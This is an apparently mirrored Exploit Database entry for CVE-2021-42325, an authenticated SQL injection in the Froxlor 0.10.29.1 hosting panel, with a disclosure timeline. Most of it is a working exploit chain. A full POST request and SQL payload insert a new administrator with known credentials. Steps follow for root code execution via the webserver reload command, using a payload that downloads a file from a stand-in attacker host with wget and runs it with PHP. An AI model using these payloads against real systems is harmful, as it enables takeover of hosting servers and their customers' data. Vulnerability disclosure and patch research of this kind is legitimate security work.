Froxlor 0.10.29.1 – SQL Injection (Authenticated)

• Exploit Database
• 16 阅读

• 作者： Martin Cernac
  日期： 2021-11-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50502/

• # Exploit Title: Froxlor 0.10.29.1 - SQL Injection (Authenticated)
  # Exploit Author: Martin Cernac
  # Date: 2021-11-05
  # Vendor: Froxlor (https://froxlor.org/)
  # Software Link: https://froxlor.org/download.php
  # Affected Version: 0.10.28, 0.10.29, 0.10.29.1
  # Patched Version: 0.10.30
  # Category: Web Application
  # Tested on: Ubuntu
  # CVE: 2021-42325
  
  # 1. Technical Description:
  #
  # Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine.
  #
  # 1.1 Pre-requisites
  #- Access to a customer account
  #- Ability to specify database name when creating a database
  #- Feature only availible from 0.10.28 onward and must be manually enabled
  
  
  # 2. Proof Of Concept (PoC):
  #
  # The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root
  #
  # 2.1 Privilege Escalation
  #
  # - Sign into Froxlor as a customer
  # - View your databases
  # - Create a database
  # - Put your payload into the "User/Database name" field (if enabled)
  # - Application will error out however your SQL query will be executed
  #
  # The following is a POST request example of running the payload provided, resulting in an administrator account being created
  ---
  POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1
  Host: localhost
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 448
  
  s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0
  ---
  #
  # 2.2 Remote Code Execution
  #
  # To achieve RCE as root:
  #
  # - Sign into Froxlor as the newly created admin account (payload example creds are x:a)
  # - Go to System Settings
  # - Go to Webserver settings
  # - Adjust "Webserver reload command" field to a custom command
  # - The command must not contain any of the following special characters: ;|&><`$~?
  # - For details, see "safe_exec" function in lib/Froxlor/FileDir.php
  # - For example commands see Payloads 4.2 section
  # - Trigger configuration file rebuild
  # - Use menu item "Rebuild config files"
  # - Await a root cron job to execute your command
  
  
  # 3. Vulnerable resources and parameters
  # /customer_mysql.php (POST field: custom_suffix)
  
  
  # 4. Payloads
  #
  # 4.1 SQL Injection payload
  #The following payload creates a new Froxlor admin with full access to all customers and the server configuration
  #The credentials are:
  # - username: x
  # - password: a
  #
  # `;insert into panel_admins (loginname,password,customers_see_all,domains_see_all,caneditphpsettings,change_serversettings) values ('x','$5$ccd0bcdd9ab970b1$Hx/a0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8',1,1,1,1);--
  #
  #
  # 4.2 Remote Code Execution payload
  #Two part payload:
  #- wget http://attacker.com/malicious.txt -O /runme.php
  #- php /runme.php
  
  
  # 5. Timeline
  # 2021-10-11 Discovery
  # 2021-10-11 Contact with developer
  # 2021-10-11 Patch issued but no release rolled out
  # 2021-10-12 Reserved CVE-2021-42325
  # 2021-11-05 Fix release rolled out
  # 2021-11-07 Public disclosure
  
  
  # 6. References:
  # https://github.com/Froxlor/Froxlor/releases/tag/0.10.30